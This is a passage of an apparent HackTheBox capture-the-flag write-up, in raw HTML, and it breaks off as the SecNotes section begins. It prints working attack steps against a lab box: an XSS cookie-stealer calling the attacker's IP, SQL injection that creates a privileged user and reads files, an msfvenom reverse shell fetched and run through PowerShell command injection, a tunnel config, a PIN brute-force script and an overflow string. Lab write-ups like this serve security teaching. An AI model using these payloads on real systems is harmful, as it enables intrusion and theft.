class="line"&gt;&lt;span class="cl"&gt;&amp;lt;script&amp;gt;newImage().src=&amp;#34;http://10.10.16.29:33333/cookie1.php?cookie=&amp;#34;%2bdocument.cookie;&amp;lt;/script&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;I got a callback.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0143.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;username=admin; password=Hopelessromantic; id=1&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0144.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;There are two endpoints in the admin panel: one queries information, and the other executes commands. The second one screams command injection.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0145.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It wouldn&amp;rsquo;t let me use it, though. It said it was only available locally, and adding xff didn&amp;rsquo;t help either.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0146.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;While querying it, I found a possible SQL injection.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0147.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;String-based SQL injection.&lt;/p&gt;&#10;&lt;p&gt;At this point, we know we can&amp;rsquo;t access mysql, though of course that depends on the specific privilege settings and we may be able to read it later. We also know that xmapp was moved to the TODO directory. Once we check the permissions, we may be able to write a shell.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;-1&amp;#39; UNION SELECT 1,2,3 --+&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;Found the reflected column.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0148.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Current account:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0149.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;secure_file_priv is empty, which means we can write arbitrary files, but we still need the absolute path.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;-1&amp;#39; UNION SELECT 1,@@global.secure_file_priv,3 --+&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0150.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;At this point, I didn&amp;rsquo;t even bother checking whether the account could log in remotely, because we could already write a shell. If the target only exposed mysql, we might need UDF privilege escalation, but it also has a PHP site, so I planned to write a shell instead. For now, I needed the absolute path.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;-1&amp;#39;;create user &amp;#39;test&amp;#39;@&amp;#39;localhost&amp;#39; identified by &amp;#39;123456&amp;#39;;--+&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;-1&amp;#39;;grant all privileges on *.* to &amp;#39;test&amp;#39;@&amp;#39;%&amp;#39; identified by &amp;#39;123456&amp;#39; with grant option;--+&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0151.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I got in successfully, with administrator privileges.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0152.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The permissions look fine, as shown below.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0153.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0154.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The database path is:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0155.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;According to the hint, replacing xampp with TODO should do the trick.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0156.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I tried reading files.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;create table test(cmd text);&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;insert into test(cmd) values (load_file(&amp;#39;C:\TODO\htdocs\notes.txt&amp;#39;));&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;update test set cmd=(load_file(&amp;#39;C:\Windows\my.ini&amp;#39;));&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;After trying for a long time, I finally found what looked like the web root and attempted to read from it.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;update test set cmd=(load_file(&amp;#39;C:/xampp/htdocs/user/transfer.php&amp;#39;));&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0157.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I could read it, which meant the file existed. But when I used:&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;update test set cmd=(load_file(&amp;#39;C:/TODO/htdocs/user/transfer.php&amp;#39;));&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;update test set cmd=(load_file(&amp;#39;C:/TODO/user/transfer.php&amp;#39;));&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;Neither path worked. I tried writing a file under xampp first.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0158.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I didn&amp;rsquo;t have enough privileges, so I was stuck again. At this point, all I really had were file read and write privileges.&lt;/p&gt;&#10;&lt;p&gt;UDF privilege escalation was also unavailable. You can&amp;rsquo;t escalate when the plugin value is empty. MaridaDB is a fork of mysql, but I couldn&amp;rsquo;t find anything useful about mariadb no matter how much I searched.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0159.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;This was a dead end. The remaining options were auditing the PHP code or reading root&amp;rsquo;s password and trying password reuse. SMB was still inaccessible.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0160.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I started reading the code. First I tried the files in the admin directory, then the ones under user, and finally index.php on the home page.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0161.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I started with the endpoint that could execute cmd, then moved on to the page with the SQL injection from earlier.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0162.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The code is pretty easy to understand, and there&amp;rsquo;s a system function here. I had a strong feeling this was the way in.&lt;/p&gt;&#10;&lt;p&gt;The first restriction requires the username and password to be correct. The second checks that the cmd parameter doesn&amp;rsquo;t contain $( or &amp;amp;, but we can actually bypass that with ||.&lt;/p&gt;&#10;&lt;p&gt;The next check looks at whether the first three characters are dir, but with || that doesn&amp;rsquo;t really matter.&lt;/p&gt;&#10;&lt;p&gt;The main problem is the third check: $_SERVER[&amp;lsquo;REMOTE_ADDR&amp;rsquo;] requires a local request. None of the methods I found could bypass it; the only option seemed to be using a proxy to change the IP.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0163.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Still no luck.&lt;/p&gt;&#10;&lt;p&gt;Since I couldn&amp;rsquo;t bypass it directly, I followed that thread: maybe I needed to find an SSRF or build a tunnel.&lt;/p&gt;&#10;&lt;p&gt;There was nothing useful in search either.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0164.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I went back over everything and noticed this:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0165.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;In other words, there was never a directory that needed to be moved. It was just a hint that the xampp directory existed. I was completely, utterly stuck here with no ideas at all. I couldn&amp;rsquo;t build a tunnel through mysql, and I had no username or password for SMB.&lt;/p&gt;&#10;&lt;p&gt;Then I glanced at a writeup and realized I&amp;rsquo;d completely forgotten that the XSS was triggered locally by the administrator. That meant it could trigger SSRF.&lt;/p&gt;&#10;&lt;p&gt;We know files can be written under C:/xampp/, so I built the payload.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;msfvenom -p windows/x64/shell_reverse_tcp -f exe -o shell.exe LHOST=10.10.16.29 LPORT=6666&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;var httpRequest = new XMLHttpRequest();&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;httpRequest.open(&amp;#39;POST&amp;#39;, &amp;#39;http://localhost/admin/backdoorchecker.php&amp;#39;, true);&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;httpRequest.setRequestHeader(&amp;#34;Content-type&amp;#34;,&amp;#34;application/x-www-form-urlencoded&amp;#34;);&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;httpRequest.setRequestHeader(&amp;#34;Cookie&amp;#34;,&amp;#34;id=1; username=YWRtaW4%3D; password=SG9wZWxlc3Nyb21hbnRpYw%3D%3D&amp;#34;);&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;httpRequest.send(&amp;#39;cmd=dir | powershell -c &amp;#34;Invoke-RestMethod -Uri http://10.10.16.29:33333/shell.exe&amp;#34; -OutFile C:/xampp/shell.exe;start C:/xampp/shell.exe&amp;#39;);&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;Triggering it once more worked. I was stuck here for quite a while too, again because I missed a detail. After staring at it forever, I finally noticed that I&amp;rsquo;d been using &lt;a class="link" href="http://localhost/admin/backdoorchecker.php" target="_blank" rel="noopener"&#10; &gt;http://localhost/&lt;/a&gt; as the URL without adding &lt;a class="link" href="http://localhost/admin/backdoorchecker.php" target="_blank" rel="noopener"&#10; &gt;/admin/backdoorchecker.php&lt;/a&gt;. And because I had to wait for it to keep making requests before I could work out what was wrong, this held me up for a long time.&lt;/p&gt;&#10;&lt;p&gt;But the result was good.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0166.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I uploaded winPEASany.exe to take a look around.&lt;/p&gt;&#10;&lt;p&gt;All the passwords had been deleted.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0167.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Looking at the ports, I noticed one for bankv2.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0168.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I decided to build a tunnel and take a look.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;span class="lnt"&gt;7&#10;&lt;/span&gt;&lt;span class="lnt"&gt;8&#10;&lt;/span&gt;&lt;span class="lnt"&gt;9&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;[common]&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;server_addr = 10.10.16.29&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;server_port = 7000&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;[mysql]&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;type = tcp&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;local_ip = 127.0.0.1&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;local_port = 910&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;remote_port = 6000&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;[common]&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;bind_port = 7000&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;Since I only needed to forward this one port, there was no need to configure a proxy. Setting up the proxy would have been a hassle anyway, so I skipped it.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0169.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It worked, but required a password.&lt;/p&gt;&#10;&lt;p&gt;I wrote a simple script.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;#!/bin/bash&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;for i in {0000..9999}&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;do&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; echo $i&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; echo $i | nc 127.0.0.1 6000&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;done&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0170.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;After 0021, it told us the password was correct.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0171.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It calls the transfer.exe tool here, using an absolute path.&lt;/p&gt;&#10;&lt;p&gt;I could think of four approaches. First, if I could swap out this exe, I could get a shell. Second, if it didn&amp;rsquo;t use an absolute path, I could modify the environment variables. Third, perhaps there was a backup or some way to obtain the program and reverse-engineer it—although reversing it wasn&amp;rsquo;t very realistic. If the source code was available, I could audit it for injection. Fourth, I could get a backup and look for a buffer overflow.&lt;/p&gt;&#10;&lt;p&gt;One: I couldn&amp;rsquo;t replace it because I couldn&amp;rsquo;t access that directory.&lt;/p&gt;&#10;&lt;p&gt;Two: it used an absolute path, so there was nothing I could do.&lt;/p&gt;&#10;&lt;p&gt;Three: there was no backup. I used find and only found files such as transfer.php.&lt;/p&gt;&#10;&lt;p&gt;Four: there was no backup, but I could still test it.&lt;/p&gt;&#10;&lt;p&gt;Then, while I was testing for a buffer overflow, something magical happened.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0172.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It looked like entering letters would overwrite it.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0173.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Sure enough, it could be overwritten. I needed to find the exact offset. It looked a bit like a buffer overflow, though clearly it wasn&amp;rsquo;t quite the same thing.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Testing showed that 32 characters are enough to overwrite it; uppercase and lowercase letters cover 52 positions, so this can be faster&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaC:\xampp\shell.exe&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0174.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0175.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Done.&lt;/p&gt;&#10;&lt;p&gt;This box took me several hours and was seriously impressive. I checked a writeup twice while I was stuck trying to get a shell, but both times it was because I hadn&amp;rsquo;t been careful enough and had missed something. I&amp;rsquo;ve done a lot of Linux boxes, so the more general techniques here actually felt manageable. I suspect it was rated Hard because it demands such a broad range of skills: XSS and SQL injection on the external-facing site, XSS+SSRF to get a shell, port forwarding for privilege escalation, writing a bash shell script, and something resembling a buffer overflow. Still, none of the techniques were fundamentally hard to understand. I just need to be more careful next time.&lt;/p&gt;&#10;&lt;h2 id="9secnotes"&gt;&lt;a href="#9secnotes" class="header-anchor"&gt;&lt;/a&gt;9.SecNotes&#10;&lt;/h2&gt;&lt;p&gt;Recon:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0176.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0177.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span 